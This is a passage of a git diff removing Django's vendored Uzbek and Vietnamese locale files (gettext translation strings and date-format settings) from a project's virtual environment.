"Kiritilgan ichki qiymat ajdod misoliga mos kelmaydi." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "To'g'ri tanlovni tanlang. Bu tanlov mavjud tanlovlardan biri emas." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" to'g'ri qiymat emas." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s vaqtni %(current_timezone)s mintaqa talqinida ifodalab " -"bo'lmadi; u noaniq yoki mavjud bo'lmasligi mumkin." - -msgid "Clear" -msgstr "Aniq" - -msgid "Currently" -msgstr "Hozirda" - -msgid "Change" -msgstr "O'zgartirish" - -msgid "Unknown" -msgstr "Noma'lum" - -msgid "Yes" -msgstr "Ha" - -msgid "No" -msgstr "Yo'q" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ha,yo'q,ehtimol" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)dbayt" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "kechqurun" - -msgid "a.m." -msgstr "ertalab" - -msgid "PM" -msgstr "Kechqurun" - -msgid "AM" -msgstr "Ertalab" - -msgid "midnight" -msgstr "yarim tunda" - -msgid "noon" -msgstr "peshin" - -msgid "Monday" -msgstr "Dushanba" - -msgid "Tuesday" -msgstr "Seshanba" - -msgid "Wednesday" -msgstr "Chorshanba" - -msgid "Thursday" -msgstr "Payshanba" - -msgid "Friday" -msgstr "Juma" - -msgid "Saturday" -msgstr "Shanba" - -msgid "Sunday" -msgstr "Yakshanba" - -msgid "Mon" -msgstr "Dush" - -msgid "Tue" -msgstr "Sesh" - -msgid "Wed" -msgstr "Chor" - -msgid "Thu" -msgstr "Pay" - -msgid "Fri" -msgstr "Jum" - -msgid "Sat" -msgstr "Shan" - -msgid "Sun" -msgstr "Yak" - -msgid "January" -msgstr "Yanvar" - -msgid "February" -msgstr "Fevral" - -msgid "March" -msgstr "Mart" - -msgid "April" -msgstr "Aprel" - -msgid "May" -msgstr "May" - -msgid "June" -msgstr "Iyun" - -msgid "July" -msgstr "Iyul" - -msgid "August" -msgstr "Avgust" - -msgid "September" -msgstr "Sentabr" - -msgid "October" -msgstr "Oktabr" - -msgid "November" -msgstr "Noyabr" - -msgid "December" -msgstr "Dekabr" - -msgid "jan" -msgstr "yan" - -msgid "feb" -msgstr "fev" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "iyn" - -msgid "jul" -msgstr "iyl" - -msgid "aug" -msgstr "avg" - -msgid "sep" -msgstr "sen" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "noy" - -msgid "dec" -msgstr "dek" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Yan," - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Fev." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Mart" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Aprel" - -msgctxt "abbrev. month" -msgid "May" -msgstr "May" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Iyun" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Iyul" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Avg." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sen." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Noy." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dek." - -msgctxt "alt. month" -msgid "January" -msgstr "Yanvar" - -msgctxt "alt. month" -msgid "February" -msgstr "Fevral" - -msgctxt "alt. month" -msgid "March" -msgstr "Mart" - -msgctxt "alt. month" -msgid "April" -msgstr "Aprel" - -msgctxt "alt. month" -msgid "May" -msgstr "May" - -msgctxt "alt. month" -msgid "June" -msgstr "Iyun" - -msgctxt "alt. month" -msgid "July" -msgstr "Iyul" - -msgctxt "alt. month" -msgid "August" -msgstr "Avgust" - -msgctxt "alt. month" -msgid "September" -msgstr "Sentabr" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktabr" - -msgctxt "alt. month" -msgid "November" -msgstr "Noyabr" - -msgctxt "alt. month" -msgid "December" -msgstr "Dekabr" - -msgid "This is not a valid IPv6 address." -msgstr "Bu to'g'ri IPv6 manzili emas." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "yoki" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d yil" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)doy" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d hafta" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d kun" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d soat" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d daqiqa" - -msgid "Forbidden" -msgstr "Taqiqlangan" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF tekshiruvi amalga oshmadi. So‘rov bekor qilindi." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Agar siz \"Referer\" sarlavhalarini o'chirib qo'yish uchun brauzeringizni " -"sozlagan bo'lsangiz, iltimos, hech bo'lmasa ushbu sayt uchun, HTTPS " -"ulanishlari, yoki \"same-origin\" so'rovlari uchun ularni qayta yoqib " -"qo'ying." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Agar siz yorlig'idan yoki " -"\"Referrer-Policy: no-referer\" sarlavhasidan foydalanayotgan bo'lsangiz, " -"iltimos ularni olib tashlang. CSRF himoyasi \"Referer\" sarlavhasini " -"havolalarni qat'iy tekshirishni talab qiladi. Agar maxfiyligingiz haqida " -"xavotirda bo'lsangiz, uchinchi tomon saytlari kabi " -"havola alternativalaridan foydalaning." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Siz ushbu xabarni ko'rmoqdasiz, chunki ushbu sayt formalarni yuborishda CSRF " -"cookie ma'lumotlarini talab qiladi. Ushbu cookie ma'lumotlari xavfsizlik " -"nuqtai nazaridan, brauzeringizni uchinchi shaxslar tomonidan " -"o'g'irlanmasligini ta'minlash uchun xizmat qilinadi." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Agar siz cookie ma'lumotlarni o'chirib qo'yish uchun brauzeringizni " -"konfiguratsiya qilgan bo'lsangiz, iltimos, ushbu sayt yoki \"same-origin\" " -"so'rovlari uchun ularni qayta yoqib qo'ying." - -msgid "More information is available with DEBUG=True." -msgstr "Qo'shimcha ma'lumotlarni DEBUG = True ifodasi bilan ko'rish mumkin." - -msgid "No year specified" -msgstr "Yil ko‘rsatilmagan" - -msgid "Date out of range" -msgstr "Sana chegaradan tashqarida" - -msgid "No month specified" -msgstr "Oy ko'rsatilmagan" - -msgid "No day specified" -msgstr "Hech qanday kun ko‘rsatilmagan" - -msgid "No week specified" -msgstr "Hech qanday hafta belgilanmagan" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Hech qanday %(verbose_name_plural)s lar mavjud emas" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Kelajak %(verbose_name_plural)s lari mavjud emas, chunki %(class_name)s." -"allow_future yolg'ondur." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"\"%(datestr)s\" sana birikmasi noto'g'ri berilgan. \"%(format)s\" formati " -"tavsiya etilgan" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "So'rovga mos keladigan %(verbose_name)s topilmadi" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Sahifa \"oxirgi\" emas va uni butun songa aylantirish mumkin emas." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Noto'g'ri sahifa (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Bo'sh ro'yxat va \"%(class_name)s.allow_empty\" yolg'on." - -msgid "Directory indexes are not allowed here." -msgstr "Bu yerda katalog indekslaridan foydalanib bo'lmaydi." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" mavjud emas" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s indeksi" - -msgid "The install worked successfully! Congratulations!" -msgstr "O'rnatish muvaffaqiyatli amalga oshdi! Tabriklaymiz!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Django %(version)s uchun chiqarilgan " -"nashrlarni ko'rish" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Siz ushbu sahifani ko'rmoqdasiz, chunki DEBUG = True ifodasi sizning sozlamalar faylingizda " -"ko'rsatilgan va siz biron bir URL manzilini to'gri sozlamagansiz." - -msgid "Django Documentation" -msgstr "Django Hujjatlari" - -msgid "Topics, references, & how-to’s" -msgstr "Mavzular, havolalar va qanday qilish yo'llari" - -msgid "Tutorial: A Polling App" -msgstr "Qo'llanma: So'rovnoma" - -msgid "Get started with Django" -msgstr "Django bilan boshlang" - -msgid "Django Community" -msgstr "Django hamjamiyati" - -msgid "Connect, get help, or contribute" -msgstr "Bog'laning, yordam oling yoki hissa qo'shing" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uz/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/uz/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uz/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/uz/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 1c777fda..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/uz/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uz/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/uz/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 1f146d77..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/uz/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uz/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/uz/formats.py deleted file mode 100644 index 2c7ee73a..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/uz/formats.py +++ /dev/null @@ -1,30 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"j-E, Y-\y\i\l" -TIME_FORMAT = "G:i" -DATETIME_FORMAT = r"j-E, Y-\y\i\l G:i" -YEAR_MONTH_FORMAT = r"F Y-\y\i\l" -MONTH_DAY_FORMAT = "j-E" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d-%B, %Y-yil", # '25-Oktabr, 2006-yil' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d-%B, %Y-yil %H:%M:%S", # '25-Oktabr, 2006-yil 14:30:59' - "%d-%B, %Y-yil %H:%M:%S.%f", # '25-Oktabr, 2006-yil 14:30:59.000200' - "%d-%B, %Y-yil %H:%M", # '25-Oktabr, 2006-yil 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/vi/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/vi/LC_MESSAGES/django.mo deleted file mode 100644 index 43a2a619..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/vi/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/vi/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/vi/LC_MESSAGES/django.po deleted file mode 100644 index a0e6eb43..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/vi/LC_MESSAGES/django.po +++ /dev/null @@ -1,1234 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Claude Paroz , 2020 -# Jannis Leidel , 2011 -# Anh Phan , 2013 -# Thanh Le Viet , 2013 -# Tran , 2011 -# Tran Van , 2011,2013 -# Vuong Nguyen , 2011 -# xgenvn , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-05-19 20:23+0200\n" -"PO-Revision-Date: 2020-07-14 21:42+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Vietnamese (http://www.transifex.com/django/django/language/" -"vi/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: vi\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Tiếng Ả Rập" - -msgid "Algerian Arabic" -msgstr "" - -msgid "Asturian" -msgstr "Asturian" - -msgid "Azerbaijani" -msgstr "Tiếng Azerbaijan" - -msgid "Bulgarian" -msgstr "Tiếng Bun-ga-ri" - -msgid "Belarusian" -msgstr "Tiếng Bê-la-rút" - -msgid "Bengali" -msgstr "Tiếng Bengal" - -msgid "Breton" -msgstr "Tiếng Breton" - -msgid "Bosnian" -msgstr "Tiếng Bosnia" - -msgid "Catalan" -msgstr "Tiếng Catala" - -msgid "Czech" -msgstr "Tiếng Séc" - -msgid "Welsh" -msgstr "Xứ Wales" - -msgid "Danish" -msgstr "Tiếng Đan Mạch" - -msgid "German" -msgstr "Tiếng Đức" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Tiếng Hy Lạp" - -msgid "English" -msgstr "Tiếng Anh" - -msgid "Australian English" -msgstr "Tiếng Anh ở Úc" - -msgid "British English" -msgstr "British English" - -msgid "Esperanto" -msgstr "Quốc Tế Ngữ" - -msgid "Spanish" -msgstr "Tiếng Tây Ban Nha" - -msgid "Argentinian Spanish" -msgstr "Argentinian Spanish" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Mexican Spanish" - -msgid "Nicaraguan Spanish" -msgstr "Tiếng Tây Ban Nha-Nicaragua" - -msgid "Venezuelan Spanish" -msgstr "Tiếng Vê-nê-du-ê-la" - -msgid "Estonian" -msgstr "Tiếng Estonia" - -msgid "Basque" -msgstr "Tiếng Baxcơ" - -msgid "Persian" -msgstr "Tiếng Ba Tư" - -msgid "Finnish" -msgstr "Tiếng Phần Lan" - -msgid "French" -msgstr "Tiếng Pháp" - -msgid "Frisian" -msgstr "Tiếng Frisco" - -msgid "Irish" -msgstr "Tiếng Ai-len" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Tiếng Pháp cổ" - -msgid "Hebrew" -msgstr "Tiếng Do Thái cổ" - -msgid "Hindi" -msgstr "Tiếng Hindi" - -msgid "Croatian" -msgstr "Tiếng Croatia" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Tiếng Hung-ga-ri" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "Tiếng Khoa học Quốc tế" - -msgid "Indonesian" -msgstr "Tiếng In-đô-nê-xi-a" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Tiếng Aixơlen" - -msgid "Italian" -msgstr "Tiếng Ý" - -msgid "Japanese" -msgstr "Tiếng Nhật Bản" - -msgid "Georgian" -msgstr "Georgian" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Tiếng Kazakh" - -msgid "Khmer" -msgstr "Tiếng Khơ-me" - -msgid "Kannada" -msgstr "Tiếng Kannada" - -msgid "Korean" -msgstr "Tiếng Hàn Quốc" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Tiếng Luxembourg" - -msgid "Lithuanian" -msgstr "Tiếng Lat-vi" - -msgid "Latvian" -msgstr "Ngôn ngữ vùng Bantic" - -msgid "Macedonian" -msgstr "Tiếng Maxêđôni" - -msgid "Malayalam" -msgstr "Tiếng Malayalam" - -msgid "Mongolian" -msgstr "Tiếng Mông Cổ" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Burmese" -msgstr "My-an-ma" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "Nê-pan" - -msgid "Dutch" -msgstr "Tiếng Hà Lan" - -msgid "Norwegian Nynorsk" -msgstr "Tiếng Na Uy Nynorsk" - -msgid "Ossetic" -msgstr "Ô-sét-ti-a" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Tiếng Ba lan" - -msgid "Portuguese" -msgstr "Tiếng Bồ Đào Nha" - -msgid "Brazilian Portuguese" -msgstr "Brazilian Portuguese" - -msgid "Romanian" -msgstr "Tiếng Ru-ma-ni" - -msgid "Russian" -msgstr "Tiếng Nga" - -msgid "Slovak" -msgstr "Ngôn ngữ Slô-vac" - -msgid "Slovenian" -msgstr "Tiếng Slôven" - -msgid "Albanian" -msgstr "Tiếng Albania" - -msgid "Serbian" -msgstr "Tiếng Xéc-bi" - -msgid "Serbian Latin" -msgstr "Serbian Latin" - -msgid "Swedish" -msgstr "Tiếng Thụy Điển" - -msgid "Swahili" -msgstr "Xì-qua-hi-đi thuộc ngôn ngữ Bantu" - -msgid "Tamil" -msgstr "Tiếng Ta-min" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Tiếng Thái" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Tiếng Thổ Nhĩ Kỳ" - -msgid "Tatar" -msgstr "Tác-ta" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Ukrainian" -msgstr "Tiếng Ukraina" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Tiếng Việt Nam" - -msgid "Simplified Chinese" -msgstr "Tiếng Tàu giản thể" - -msgid "Traditional Chinese" -msgstr "Tiếng Tàu truyền thống" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "Bản đồ trang web" - -msgid "Static Files" -msgstr "Tập tin tĩnh" - -msgid "Syndication" -msgstr "Syndication" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Nhập một giá trị hợp lệ." - -msgid "Enter a valid URL." -msgstr "Nhập một URL hợp lệ." - -msgid "Enter a valid integer." -msgstr "Nhập một số nguyên hợp lệ." - -msgid "Enter a valid email address." -msgstr "Nhập địa chỉ email." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Nhập một địa chỉ IPv4 hợp lệ." - -msgid "Enter a valid IPv6 address." -msgstr "Nhập địa chỉ IPv6 hợp lệ" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Nhập địa chỉ IPv4 hoặc IPv6 hợp lệ" - -msgid "Enter only digits separated by commas." -msgstr "Chỉ nhập chữ số, cách nhau bằng dấu phẩy." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Đảm bảo giá trị này là %(limit_value)s (nó là %(show_value)s )." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Đảm bảo giá trị này là nhỏ hơn hoặc bằng với %(limit_value)s ." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Đảm bảo giá trị này lớn hơn hoặc bằng với %(limit_value)s ." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Giá trị này phải có ít nhất %(limit_value)d kí tự (hiện có %(show_value)d)" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Giá trị này chỉ có tối đa %(limit_value)d kí tự (hiện có %(show_value)d)" - -msgid "Enter a number." -msgstr "Nhập một số." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Đảm bảo rằng tối đa không có nhiều hơn %(max)s số." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Hãy chắc chắn rằng không có nhiều hơn %(max)s chữ số thập phân." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Hãy chắc chắn rằng không có nhiều hơn %(max)s chữ số trước dấu phẩy thập " -"phân." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "và" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s với thông tin %(field_labels)s đã tồn tại" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Giá trị %(value)r không phải là lựa chọn hợp lệ." - -msgid "This field cannot be null." -msgstr "Trường này không thể để trống." - -msgid "This field cannot be blank." -msgstr "Trường này không được để trắng." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s có %(field_label)s đã tồn tại." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "%(field_label)s phải là duy nhất %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Trường thuộc dạng: %(field_type)s " - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boolean (hoặc là Đúng hoặc là Sai)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Chuỗi (dài đến %(max_length)s ký tự )" - -msgid "Comma-separated integers" -msgstr "Các số nguyên được phân cách bằng dấu phẩy" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Ngày (không có giờ)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Ngày (có giờ)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Số thập phân" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "Địa chỉ email" - -msgid "File path" -msgstr "Đường dẫn tắt tới file" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Giá trị dấu chấm động" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Số nguyên" - -msgid "Big (8 byte) integer" -msgstr "Big (8 byte) integer" - -msgid "IPv4 address" -msgstr "Địa chỉ IPv4" - -msgid "IP address" -msgstr "Địa chỉ IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Luận lý (Có thể Đúng, Sai hoặc Không cái nào đúng)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "Số nguyên dương" - -msgid "Positive small integer" -msgstr "Số nguyên dương nhỏ" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug(lên đến %(max_length)s)" - -msgid "Small integer" -msgstr "Số nguyên nhỏ" - -msgid "Text" -msgstr "Đoạn văn" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Giờ" - -msgid "URL" -msgstr "Đường dẫn URL" - -msgid "Raw binary data" -msgstr "Dữ liệu nhị phân " - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "File" - -msgid "Image" -msgstr "Image" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Khóa ngoại (kiểu được xác định bởi trường liên hệ)" - -msgid "One-to-one relationship" -msgstr "Mối quan hệ một-một" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Mối quan hệ nhiều-nhiều" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Trường này là bắt buộc." - -msgid "Enter a whole number." -msgstr "Nhập một số tổng thể." - -msgid "Enter a valid date." -msgstr "Nhập một ngày hợp lệ." - -msgid "Enter a valid time." -msgstr "Nhập một thời gian hợp lệ." - -msgid "Enter a valid date/time." -msgstr "Nhập một ngày/thời gian hợp lệ." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Không có tập tin nào được gửi. Hãy kiểm tra kiểu mã hóa của biểu mẫu." - -msgid "No file was submitted." -msgstr "Không có tập tin nào được gửi." - -msgid "The submitted file is empty." -msgstr "Tập tin được gửi là rỗng." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "Tên tệp tin có tối đa %(max)d kí tự (Hiện có %(length)d)" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Vui lòng gửi một tập tin hoặc để ô chọn trắng, không chọn cả hai." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Hãy tải lên một hình ảnh hợp lệ. Tập tin mà bạn đã tải không phải là hình " -"ảnh hoặc đã bị hư hỏng." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Hãy chọn một lựa chọn hợp lệ. %(value)s không phải là một trong các lựa chọn " -"khả thi." - -msgid "Enter a list of values." -msgstr "Nhập một danh sách giá trị." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr 